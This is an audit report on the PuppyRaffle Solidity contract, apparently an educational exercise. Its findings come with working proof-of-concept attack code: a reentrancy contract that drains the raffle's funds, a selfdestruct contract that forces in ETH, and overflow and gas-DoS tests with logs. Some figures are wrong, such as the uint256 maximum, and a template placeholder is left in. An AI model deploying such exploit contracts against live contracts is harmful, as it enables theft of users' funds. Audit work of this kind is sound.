Puppy Raffle Audit Report

Version 1.0

Simpler Times

October 7, 2024

Puppy Raffle Protocol Audit Report

Simpler Times

October 7th, 2024

Prepared by: Simpler Times Lead Auditors: - Sean Francis

Table of Contents

    * [H-3] In `PuppyRaffle::withdrawFees`, a require statement checks one variable `totalFees` against the address balance. Sending ETH to the contract outside of using `PuppyRaffle::EnterRaffle` will cause the `withdrawFees` function to be unusable
    * [H-4] Weak randomness in `PuppyRaffle::selectWinner` allows users to influence or predict the winner and the rarity of the puppy NFT
  - Medium
    * [M-1] `PuppyRaffle::EnterRaffle`'s FOR Loop to check for duplicate addresses creates Denial of Service (DoS) vulnerability via incrementing cas costs
    * [M-2] A winner address that is a contract with no `receive()` or `fallback()` function would not be able to receive their ETH upon being selected.
  - Low
    * [L-1] `PuppyRaffle::getActivePlayerIndex` returns 0 for non-existent players and for players at index 0, causing a player at index 0 to incorrectly think they're not a raffle participant
  - Gas
    * [G-1] Unchanged state variables should be declared constant or immutable.
    * [G-2] Storage variables in a loop should be cached
  - Informational
    * [I-1]: Solidity pragma should be specific, not wide
    * [I-2] Using an outdated version of Solidity is not recommended
    * [I-3]: Missing checks for `address(0)` when assigning values to address state variables
    * [I-4] `PuppyRaffle::selectWinner` should follow CEI
    * [I-5] Use of "magic" numbers is discouraged
    * [I-6]: `PuppyRaffle::_isActivePlayer` is never used and should be removed. Removing dead code improves gas costs for deployment.

Puppy Raffle Protocol Summary

This project is to enter a raffle to win a cute dog NFT. The protocol should do the following:

1. Call the `enterRaffle` function with the following parameters:

   1. `address[] participants`: A list of addresses that enter. You can use this to enter yourself multiple times, or yourself and a group of your friends.

2. Duplicate addresses are not allowed

3. Users are allowed to get a refund of their ticket & `value` if they call the `refund` function
4. Every X seconds, the raffle will be able to draw a winner and be minted a random puppy
5. The owner of the protocol will set a feeAddress to take a cut of the `value`, and the rest of the funds will be sent to the winner of the puppy.
6.

Disclaimer

The YOUR_NAME_HERE team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

- Commit Hash: e30d199697bbc822b646d76533b66b7d529b8ef5

Scope

```
./src/
#-- PuppyRaffle.sol
```

Roles

Owner - Deployer of the protocol, has the power to change the wallet address to which fees are sent through the `changeFeeAddress` function. Player - Participant of the raffle, has the power to enter the raffle with the `enterRaffle` function and refund value through `refund` function.

Executive Summary

Puppy Raffle is an interesting project that exposes you to how many variables and vectors a protocol must look out for.

Issues found

Severity	Number of issues found
High	4
Medium	2
Low	1
Info/Gas	8
Total	15

Findings

High

[H-1] Reentrancy attack in PuppyRaffle::refund' allows entrant to drain raffle contract balance.

Description: `PuppyRaffle::refund(uint256 playerindex)` uses the parameter to check if the `msg.sender` is among the active addresses in the `players` array during the ongoing raffl before refunding the msg.sender an `entranceFee`'s worth of ETH and subsequently zeroing out the address in the player. An attacker can create a contract with a `receive()` function to call the `refund` function that triggers a new `refund` call every time value is transferred to the contract.

```

/// @param playerIndex the index of the player to refund. You can find
    it externally by calling `getActivePlayerIndex`
    /// @dev This function will allow there to be blank spots in the
        array
    function refund(uint256 playerIndex) public {
        address playerAddress = players[playerIndex];
        require(playerAddress == msg.sender, "PuppyRaffle: Only the
            player can refund");
        require(playerAddress != address(0), "PuppyRaffle: Player
            already refunded, or is not active");

        payable(msg.sender).sendValue(entranceFee);
        // @audit reentrancy attack vector as the value is sent before
            the contract sets the player to non-active
        players[playerIndex] = address(0);
        emit RaffleRefunded(playerAddress);
    }
```

Impact: This means a malicious actor can use a contract to steal all the entrance fees submitted by players of a raffle; thereby destroying the point of a raffle and stealing their funds.

Proof of Concept 1. User enters the raffle 2. Attacker sets up a contract with a `fallback` function or `receive` function that calls `PuppyRaffle::refund` 3. Attacker enters the raffle 4. Attacker calls `PuppyRaffle::refund` from their attack contract, draining the contract balance

Proof of Code: We first create a malicious contract `test/PuppyRaffleReentrancyAttack.sol`, where the attacker creates a function that calls the `PuppyRaffle::EnterRaffle` function and `PuppyRaffle::refund` function in sequence. Then there is a `receive` function that calls the `PuppyRaffle::refund` function once ETH is sent to the maliciouus contract via the first intiial `refund` function call.

Code

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.6;

import {ERC721} from "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import {Ownable} from "@openzeppelin/contracts/access/Ownable.sol";
import {Address} from "@openzeppelin/contracts/utils/Address.sol";
import {Base64} from "lib/base64/base64.sol";
import {console} from "forge-std/Test.sol";
import {PuppyRaffle} from "../src/PuppyRaffle.sol";

contract PuppyRaffleReentrancyAttack {
    PuppyRaffle victimContract;
    uint256 attackerIndex =0;
    uint256 entranceFee;
```

```
    constructor(address _victimAddress) {
        victimContract = PuppyRaffle(_victimAddress);
        entranceFee = victimContract.entranceFee();
    }

    function attack() external payable{
        address[] memory newPlayers = new address[](1);
        newPlayers[0] = address(this);
        console.log("attacker contract balance is %d", address(this).balance);
        victimContract.enterRaffle{value: entranceFee}(newPlayers);
        attackerIndex = victimContract.getActivePlayerIndex(address(this));
        victimContract.refund(attackerIndex);
    }


    function _stealMoney() internal {
           if (address(victimContract).balance >= entranceFee) {
            victimContract.refund(attackerIndex);
        }
    }

    fallback() external payable{
        _stealMoney();
    }

    receive() external payable {
        _stealMoney();
    }

}
```

Within the test/PuppyRaffleTest.t.sol file, we provide the test test_ClearContractBalanceViaRee below:

```
function test_ClearContractBalanceViaReentrancyAttackOnRefund() public playersEntered {
        PuppyRaffleReentrancyAttack attackerContract = new PuppyRaffleReentrancyAttack(address(puppyRaffle));
        address attacker = makeAddr("attacker");
        uint256 raffleBalance = address(puppyRaffle).balance;
        console.log("PuppyRaffle balance is Prior to attack: %d", raffleBalance);
        vm.deal(attacker, 1 ether);
        vm.prank(attacker);
        attackerContract.attack{value: entranceFee}();
        console.log("PuppyRaffle balance After attack: %d", address(puppyRaffle).balance);
        console.log("AttackerContract balance After attack: %d", address(attackerContract).balance);
```

```
        assertEq(address(puppyRaffle).balance,0);
        assertEq(raffleBalance +1 ether,address(attackerContract).
            balance);
        }
```

where the modifier `playersEntered` that enters 4 players prior to the simulated attack is a modifier that originates in this commit hash we've been tasked to audit. Running the command

```
forge test --mt test_ClearContractBalanceViaReentrancyAttackOnRefund -
    vvv
```

produces the following logs:

```
Logs:
  PuppyRaffle balance is Prior to attack: 4000000000000000000
  attacker contract balance is 1000000000000000000
  PuppyRaffle balance After attack: 0
  AttackerContract balance After attack: 5000000000000000000
```

Thereby demonstrating the exploit in action, where a malicious actor can fund a contract with the minimum `PuppyRaffle::EntranceFee` amount to enter a raffle, refund, and steal the raffle contract balance filled by other `PuppyRaffle::EntranceFee` submissions by other users.

Recommended Mitigation:

1) The first strategy is to zero the address before triggering the `sendValue` function in the `refund` function, following the CEI style, Checks, effects, interactions. Also move the event emission up as well.

```

    function refund(uint256 playerIndex) public {
        // Checks
        address playerAddress = players[playerIndex];
        require(playerAddress == msg.sender, "PuppyRaffle: Only the
            player can refund");
        require(playerAddress != address(0), "PuppyRaffle: Player
            already refunded, or is not active");

        // Effects of calling this function
+       players[playerIndex] = address(0);
+        emit RaffleRefunded(playerAddress);


        //Interactions with other contracts and external wallets
        payable(msg.sender).sendValue(entranceFee);
        // @audit reentrancy attack vector
-       players[playerIndex] = address(0);
-       emit RaffleRefunded(playerAddress);

```

```
    }
```

2) The use of a bool `locked` variable also prevents this exploit.

```

+    bool locked = false;
     function refund(uint256 playerIndex) public {
+        require(locked == false, "PuppyRaffle: the function is
    currently locked");
+        locked = true;
         // Checks
         address playerAddress = players[playerIndex];
         require(playerAddress == msg.sender, "PuppyRaffle: Only the
             player can refund");
         require(playerAddress != address(0), "PuppyRaffle: Player
             already refunded, or is not active");

         // Effects of calling this function

         //Interactions with other contracts and external wallets
         payable(msg.sender).sendValue(entranceFee);
         // @audit reentrancy attack vector
         players[playerIndex] = address(0);
         emit RaffleRefunded(playerAddress);
+        locked = false
     }
```

3) Alternatively, OpenZeppelin has a ReentrancyGuard contract contract that recreates 2).

[H-2] In `PuppyRaffle::selectWinner`, the variable `totalFees` is defined with a `uint64` casted uint256 variable `fee` with no check for overflows. If an overflow happens, this will cause a calculation error that will prevent a successful call of the `PuppyRaffle::withdrawFees` function.

Description: The global public state variable `totalFees` is type uint64 while the variable `fee` within `selectWinner()` function is `uint256`. The max value an `uint64` can hold is `2**64 -1 = 18 _446_744_073_709_551_616 -1` while an uint256's max value is `2**56-1`. Should the `fee` value exceed the maximum `uint64` (a value of 19e18 exceeds the `uint64` capacity), this will result in an overflow and the `uint64(fee)= fee % (2**64 -1)`, as the variable will reset to zero and continue adding.

```
        uint256 fee = (totalAmountCollected * 20) / 100;
        //@audit overflow with type castings
        totalFees = totalFees + uint64(fee);
```

Impact: `totalFees` defines the value of funds to be sent to the `feeAddress` when `selectWinner()` is called. Should an overflow take place,this causes a calculation error in `totalFees` not accurately reporting the balance of the contract that `withdrawFees()` causes to revert if called:

```
function withdrawFees() external {
        require(address(this).balance == uint256(totalFees), "
            PuppyRaffle: There are currently players active!");
```

Proof of Concept: Within the `test/PuppyRaffleTest.t.sol` file submitted in this audit, we provide the test

`PuppyRaffleTest::testOverflowTotalFeeCausesfeeAddressToHaveInaccurateBalance`

function below:

```

function testBreakWithdrawFeesByOverflow() public playersEntered {
        vm.warp(block.timestamp + duration + 1);
        vm.roll(block.number + 1);

        // need to add player with massive entranceFee
        // need to calculate entrance Fee that will trigger overflow

        /*
            uint256 fee = (totalAmountCollected * 20) / 100;
            overflow causes by fee > max uint64 = 18
                _446_744_073_709_551_616-1, we'll round up to 19 ETH
            19 ETH = (total *20)/100;
            19*100/20 = totalAmountColected = 19*50=95 ETH
            //@audit overflow with type castings
            totalFees = totalFees + uint64(fee); // totalFees will be
                zero on the right.

            entranceFee= 1 ETH -> newPlayer entranceFee = 95

        */

        uint256 OVERFLOW_NUM = 91;

        address whale = makeAddr("WHALE");
        vm.deal(whale, OVERFLOW_NUM *1 ether);
        address[] memory players = new address[](OVERFLOW_NUM);
        players[0] = whale;

        for (uint256 i = 1; i < OVERFLOW_NUM; i++){
            players[i] = address(i+OVERFLOW_NUM*2);
        }
        vm.prank(whale);
```

```
        // Can't add more than 1 entranceFee per player
        puppyRaffle.enterRaffle{value: entranceFee * OVERFLOW_NUM}(
           players);


        // function modifier adds 4 players first: thus overflowNum +4
        uint256 expectedPrizeAmount = ((entranceFee * (OVERFLOW_NUM+4))
             * 20) / 100;
        uint256 expectedOverflowPrizeAmount = (((entranceFee *(
           OVERFLOW_NUM+4)) * 20) / 100) % (2**64 -1) ;

        puppyRaffle.selectWinner();

        assertEq(expectedPrizeAmount - expectedOverflowPrizeAmount,
           2**64-1,"Assert the difference is the uint64 max value");

        vm.expectRevert("PuppyRaffle: There are currently players
           active!");

        puppyRaffle.withdrawFees();

        console.log("feeAddress was supposed to receive: ",
           expectedPrizeAmount);
        console.log("feeAddress is expected to receive due to overflow
           error: ",expectedOverflowPrizeAmount);
        console.log("Funds misplaced from overflow amount 2**64-1 == ",
             expectedPrizeAmount - expectedOverflowPrizeAmount);
    }
```

This test creates a whale wallet with 91 ETH. Combined with the 4 players entered via the playersEntered modifier, this hits 95 ETH, the entranceFee amount suitable for the `fee` to be calculated at 19 ETH in `selectWinner()`, the magic number needed to trigger an overflow when calculating the `totalFee` within the same function.

running the terminal command:

`forge test --mt testBreakWithdrawFeesByOverflow -vv`

produces the logs:

```
[PASS] testBreakWithdrawFeesByOverflow() (gas: 4838592)
Logs:
  feeAddress was supposed to receive:  19000000000000000000
  feeAddress is expected to receive due to overflow error:
      553255926290448385
  Funds misplaced from overflow amount == 2**64-1 ==
      18446744073709551615

Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 15.33ms
    (11.25ms CPU time)
```

Mitigation Recommendations:

We recommend using at least `solidity version ^0.8.0` as it contains checks for overflows and underflows by default. We also recommend using uint256 for the `totalFees` global state variable instead of uint64.

[H-3] In `PuppyRaffle::withdrawFees`, a require statement checks one variable `totalFees` against the address balance. Sending ETH to the contract outside of using `PuppyRaffle::EnterRaffle` will cause the `withdrawFees` function to be unusable

Description: As previously discussed in **[H-2]**, if the `totalFees` variable does not fully account for all ETH on the contract balance, it will fail the require check in `withdrawFees()`.

```
function withdrawFees() external {
        require(address(this).balance == uint256(totalFees), "
           PuppyRaffle: There are currently players active!");
```

There is no fallback or receive function in the `PuppyRaffle` contract and so any ETH transfers outside of `enterRaffle()` will revert the contract. However, a malicious actor can setup a contract to selfdestruct upon sending a low level call transaction to the `PuppyRaffle` contract and force it to accept ETH that the `totalFees` variable will not account for and ultimately cause a miscalculation for that above require statemetn.

Impact: This will prevent the owner or any user from being able to send the funds raised from a raffle to the feeAddress and ultimately prevent the contract from raising money!

Proof of Concept:

We first create a `test/SelfDestructContract.sol` file with the following code:

```

// SPDX-License-Identifier: MIT
pragma solidity ^0.7.6;
import {PuppyRaffle} from "../src/PuppyRaffle.sol";


contract  SelfDestructContract{
    PuppyRaffle victimContract;

    constructor(PuppyRaffle _victimContract) payable {
        victimContract = _victimContract;
    }

    function attack() external payable {
        selfdestruct(payable(address(victimContract)));
    }
```

```
}
```

This contract creates `PuppyRaffle` contract object in the constructor, and in its `attack()` function, calls the selfdestruct keyword function where it sends value to the `PuppyRaffle`'s address while selfdestructing simultaneously. PuppyRaffle would normally revert the contract as there is no `fallback()` or `receive()` functions, but because the original ETH sender no longer exists, it must retain the ETH. We will exploit this in the following code to prevent `withdrawFees()` from functioning.

We then implement the following test in `test/PuppyRaffleTest.t.sol`:

```

import {SelfDestructContract} from "./SelfDestructContract.sol"; // remember to import the self destruct contract at the top of the file

    function testBreak_withdrawFeesFunctionWithEthTransfer() public playersEntered {
        vm.warp(block.timestamp + duration + 1);
        vm.roll(block.number + 1);
        puppyRaffle.selectWinner();
        console.log("totalFees variable BEFORE Self Destruct attack: ", puppyRaffle.totalFees());
        console.log("Account Balance BEFORE Self Destruct Attack: ", address(puppyRaffle).balance);
        console.log("Difference BEFORE Attack: ", address(puppyRaffle).balance - puppyRaffle.totalFees());
        SelfDestructContract sdc = new SelfDestructContract(puppyRaffle);
        sdc.attack{value: entranceFee}();
        console.log("totalFees variable AFTER Self Destruct attack: ", puppyRaffle.totalFees());
        console.log("Account Balance AFTER Self Destruct Attack: ", address(puppyRaffle).balance);
        console.log("Difference AFTER Attack: ", address(puppyRaffle).balance - puppyRaffle.totalFees());
        vm.expectRevert("PuppyRaffle: There are currently players active!");
        puppyRaffle.withdrawFees();
    }
```

We can test this function with the following terminal command

`test --mt testBreak_withdrawFeesFunctionWithEthTransfer -vvv`

And receive the following logs:

```
Ran 1 test for test/PuppyRaffleTest.t.sol:PuppyRaffleTest
[PASS] testBreak_withdrawFeesFunctionWithEthTransfer() (gas: 366748)
Logs:
  totalFees variable BEFORE Self Destruct attack:  800000000000000000
```

```
Account Balance BEFORE Self Destruct Attack:  800000000000000000
Difference BEFORE Attack:  0
totalFees variable AFTER Self Destruct attack:  800000000000000000
Account Balance AFTER Self Destruct Attack:  1800000000000000000
Difference AFTER Attack:  1000000000000000000
```

Thereby rendering the `withdrawFees()` function unusable with the additional ETH sent.

Recommended Mitigation:

We recommend utilizing the special receive() and fallback() functions to address when receiving ETH from any source outside of specific payable function calls (i.e. `enterRaffle()`):

```

+   receive() external payable {
+        // This function is executed when a contract receives plain Ether (without data)
+       totalFees = totalFees + msg.value;
+   }

+   fallback() external payable {
+       // This function is executed on a call to the contract if none of the other
+       // functions match the given function signature, or if no data is supplied at all
+       totalFees = totalFees + msg.value
+       }
```

[H-4] Weak randomness in `PuppyRaffle::selectWinner` allows users to influence or predict the winner and the rarity of the puppy NFT

Description: Hashing `msg.sender`, `block.timestamp`, `block.difficulty` creates a predictable final number. A predictable number is not a good number as malicious users can farm for numbers that benefit them to trigger the `selectWinner` function that is accessible to any address.

Note: This additionally means users could front-run this fnuction and call `refund` if they see they are not the winner.

```
uint256 winnerIndex =
           uint256(keccak256(abi.encodePacked(msg.sender, block.timestamp, block.difficulty))) % players.length;
       address winner = players[winnerIndex];
```

```
   uint256 rarity = uint256(keccak256(abi.encodePacked(msg.sender, block.difficulty))) % 100;
```

Impact: Any user can influence the winner of the raffle, winning the money and selecting the `rarest` puppy. Making the entire raffle rigged and ultimately a gas war as to who wins the raffles.

Proof of Concept:

1. Validators can know ahead of time the `block.timestamp` and `block.difficulty` and use that to predict when/how to participate in the raffle. See the solidity blog on prevrandao. `block.difficulty` was recently replaced with prevrandao.
2. User can mine/manipulate their `msg.sender` value to result in their address being used to generate the winner with fuzzing.
3. Users can revert their `selectWinner` transaction if they don't like the winner or resulting puppy
4. Using on-chain values as a randomness seed is a well documented attack-vector in the blockchain space.

Recommended Mitigation:

Use Chainlink's Verified Randomness Function or some other cryptographically provably random number generator.

Medium

[M-1] `PuppyRaffle::EnterRaffle`'s FOR Loop to check for duplicate addresses creates Denial of Service (DoS) vulnerability via incrementing cas costs

Description: `PuppyRaffle::EnterRaffle` contains a For loop that checks for any address duplicates in the `PuppyRaffle::players` address array of Raffle participants. With each new participant, the array size gets larger, meaning more loops required to complete the check and enter the raffle. Each loop is a computation meaning each loop will cost gas.

```
        // Check for duplicates
        for (uint256 i = 0; i < players.length - 1; i++) {
            for (uint256 j = i + 1; j < players.length; j++) {
                require(players[i] != players[j], "PuppyRaffle:
                    Duplicate player");
            }
        }
```

Impact: As a consequence triggering the EnterRaffle function becomes more gas costly as more more participants enter. Someone enters first pays substantially less gas than the 100th participant. This will discourage later uses from entering and can cause a rush at the start to enter the raffle before others enter as it's financially a superior choice to enter as soon as possible as opposed to waiting for others to join before entering.

An attacker could fill `PuppyRaffle::players` to intentionally discourage users from entering due to steep gas costs.

Proof of Concept: Within the `test/PuppyRaffleTest.t.sol` file, we provide the test `PuppyRaffleTest::test_denialOfService` function below:

```
function test_denialOfService() public {


        vm.txGasPrice(1);
        uint256 playersNum = 100;
        address[] memory players = new address[](playersNum);
        for (uint256 i = 0; i < playersNum; i++){
         players[i] = address(i);
        }

        uint256 gasStart = gasleft();
        puppyRaffle.enterRaffle{value: entranceFee * playersNum}(
            players);
        uint256 gasEnd = gasleft();

        uint256 gasUsedFirst = (gasStart - gasEnd)*tx.gasprice;
        console.log("gasUsed price for first 100 players: ",
            gasUsedFirst);


        address[] memory players2 = new address[](playersNum);
        for (uint256 i = 0; i < playersNum; i++){
         players2[i] = address(i+playersNum);
        }
        gasStart = gasleft();
        puppyRaffle.enterRaffle{value: entranceFee * playersNum}(
            players2);
        gasEnd = gasleft();
        uint256 gasUsedSecond = (gasStart - gasEnd)*tx.gasprice;
        console.log("gasUsed price for second 100 players: ",
            gasUsedSecond);

        assert(gasUsedSecond > gasUsedFirst);


    }
```

Running the terminal command:

`forge test --mt test_denialOfService -vv`

will provide the following output:

```
Logs:
  gasUsed price for first 100 players:  6252039
```

```
gasUsed price for second 100 players:  18068129
```

Where we demonstrate that the collective gas cost of the first 100 players is ~ 1/3 of the collective gas cost of following 100 players to enter the raffle.

Recommended Mitigation:

We recommend creating a Mapping to check if a player has entered the raffle.

```diff

+ mapping [address => uint256] public addressToRaffleId; // mapping initializes the value to 0
+ uint256 public raffleId = 1;

.
.
.

   function enterRaffle(address[] memory newPlayers) public payable {
        // q were custom reverts a thing back with pragma solidity ^0.7.6?
        require(msg.value == entranceFee * newPlayers.length, "PuppyRaffle: Must send enough to enter raffle");

+          // Check for duplicates before adding in new players players
+         for (uint256 i = 0; i < newPlayers.length; i++){
+             require(addressToRaffleId[newPlayers[i]] != raffleId, "PuppyRaffle: Duplicate player");
+         }

        for (uint256 i = 0; i < newPlayers.length; i++) {

            players.push(newPlayers[i]);
+           addressToRaffleId[newPlayers[i]] = raffleId;
        }


-        // @audit DoS attack Vector
-        for (uint256 i = 0; i < players.length - 1; i++) {
-            for (uint256 j = i + 1; j < players.length; j++) {
-                require(players[i] != players[j], "PuppyRaffle: Duplicate player");
-            }
-        }
        emit RaffleEnter(newPlayers);
    }

.
.
.

```

```
    function selectWinner() external {
+       raffleId = raffleId+1;
        require(block.timestamp >= raffleStartTime + raffleDuration, "PuppyRaffle: Raffle not over");
```

Alternatively, you could use OpenZeppelin's `EnumerableSet` library

[M-2] A winner address that is a contract with no `receive()` or `fallback()` function would not be able to receive their ETH upon being selected.

Description: The `PuppyRaffle::selectWinner` function is responsible for resetting the lottery. However, if the winner is a smart contract wallet that rejects payment, the lottery would not be able to restart.

Users could easily call the `selectWinner` function again and Externally Owned Accounts (EOA) could enter, but it could cost a lot due to the duplicate check and a lottery reset could get challenging.

Impact: The `PuppyRaffle:;selectWinner` function could revert many times, making a lottery reset difficult. Also, true winners would not get paid out and someone else could take their winnings in their place!

Proof of Concept:

1. Raffle participants enter, including at least one contract wallet that has no `fallback` or `receive` function implemented
2. `PuppyRaffle::selectWinner` is called and chooses a contract wallet without either of those functions implemented
3. `selectWinner` reverts due to the winning wallet's inability to accept ETH

Recommended Mitigation:

1. Do not allow smart contract wallet entrants (not recommended due to it excluding multisig wallets)
2. Take on a Pull method instead of the current push ,ethod in paying out to winners. Create a mapping of address -> payout amounts so winners can claim their prizes on their own. Putting the onus on the winner to make sure they receive payout (recommended)

Low

[L-1] `PuppyRaffle::getActivePlayerIndex` returns 0 for non-existent players and for players at index 0, causing a player at index 0 to incorrectly think they're not a raffle participant

Description: A player indexed at `players[0]` returns 0, the same output as a player not indexed in the `players` array entirely.

```
    /// @notice a way to get the index in the array
    /// @param player the address of a player in the raffle
    /// @return the index of the player in the array, if they are not
        active, it returns 0
function getActivePlayerIndex(address player) external view returns (
    uint256) {
        for (uint256 i = 0; i < players.length; i++) {
            if (players[i] == player) {
                return i;
            }
        }
        return 0;
    }
```

Impact: This manifests in miscontruing a player's active participation status. A player could decide to enter the raffle again, wasting gas and an extra entranceFee at worst.

Proof of Concept:

1. User enters the raffle, they are the first entrant
2. `PuppyRaffle:getActivePlayerIndex` returns 0
3. User thinks they have not entered correctly due to the function documentation.

Recommended Mitigation: The easiest recommendation would be to revert if the player is not in the array instead of returning 0.

You could also reserve the 0th position for any competition but a better solution might be to return an `int256` where the function returns -1 if the player is not active.

Gas

[G-1] Unchanged state variables should be declared constant or immutable.

Reading from a state variable is more gas costly than reading from a constant or immutable variable.

Instances: - `PuppyRaffle::raffleDuration` is never changed from being defined in the constructor and thus should be `immutable` - `PuppyRaffle::commonImageUri` should be `constant` - `PuppyRaffle::rareImageUri` should be `constant` - `PuppyRaffle::legendaryImageUri` should be `constant`

[G-2] Storage variables in a loop should be cached

Everytime you call `players.length`, you read from storage as opposed to memory which is more gas efficient.

```
+       uint256 playersLength = players.length
-        for (uint256 i = 0; i < players.length - 1; i++) {
+       for (uint256 i = 0; i < playersLength - 1; i++) {
-            for (uint256 j = i + 1; j < players.length; j++) {
+           for (uint256 j = i + 1; j < playersLength; j++) {
                require(players[i] != players[j], "PuppyRaffle:
                    Duplicate player");
            }
        }
```

Informational

[I-1]: Solidity pragma should be specific, not wide

Consider using a specific version of Solidity in your contracts instead of a wide version. For example, instead of `pragma solidity ^0.8.0;`, use `pragma solidity 0.8.0;`

1 Found Instances

- Found in src/PuppyRaffle.sol Line: 2

  ```
  pragma solidity ^0.7.6;
  ```

[I-2] Using an outdated version of Solidity is not recommended

Please use a newer solidity version like `0.8.18`. `solc` frequently releases new compiler versions. Using an old version prevents access to new Solidity security checks. We also recommend avoiding complex pragma statement.

Recommendation

Deploy with a recent version of Solidity (at least `0.8.18`) with no known severe issues.

The recommendations to take into account: - Risks related to recent releases - Risks of complex code generation changes - Risks of new language features - Risks of known bugs

Use a simple pragma version that allows any of these versions. Consider using the latest version of Solidity for testing.

Please see Slither Documentation for more information.

[I-3]: Missing checks for `address(0)` when assigning values to address state variables

Check for `address(0)` when assigning values to address state variables.

2 Found Instances

- Found in src/PuppyRaffle.sol Line: 71

```
            feeAddress = _feeAddress;
```

- Found in src/PuppyRaffle.sol Line: 258

```
            feeAddress = newFeeAddress;
```

[I-4] `PuppyRaffle::selectWinner` should follow CEI

It's best to keep code clean and follow CEI (Checks, Effects, Interactions).

```
-        (bool success,) = winner.call{value: prizePool}("");
-        require(success, "PuppyRaffle: Failed to send prize pool to winner");
         _safeMint(winner, tokenId);
+        (bool success,) = winner.call{value: prizePool}("");
+        require(success, "PuppyRaffle: Failed to send prize pool to winner");
```

[I-5] Use of "magic" numbers is discouraged

It can be confusing to see number literals in a codebase and it is far more readable if the numbers were assigned to constants to explain their role in assignment equations.

```
    uint256 prizePool = (totalAmountCollected * 80) / 100;
    uint256 fee = (totalAmountCollected * 20) / 100;
```

Instead, you could use:

```
    uint256 public constant PRIZE_POOL_PERCENTAGE = 80;
    uint256 public constant FEE_PERCENTAGE = 20;
    uint256 public constant POOL_PRECISION = 100;
```

[I-6]: `PuppyRaffle::_isActivePlayer` is never used and should be removed. Removing dead code improves gas costs for deployment.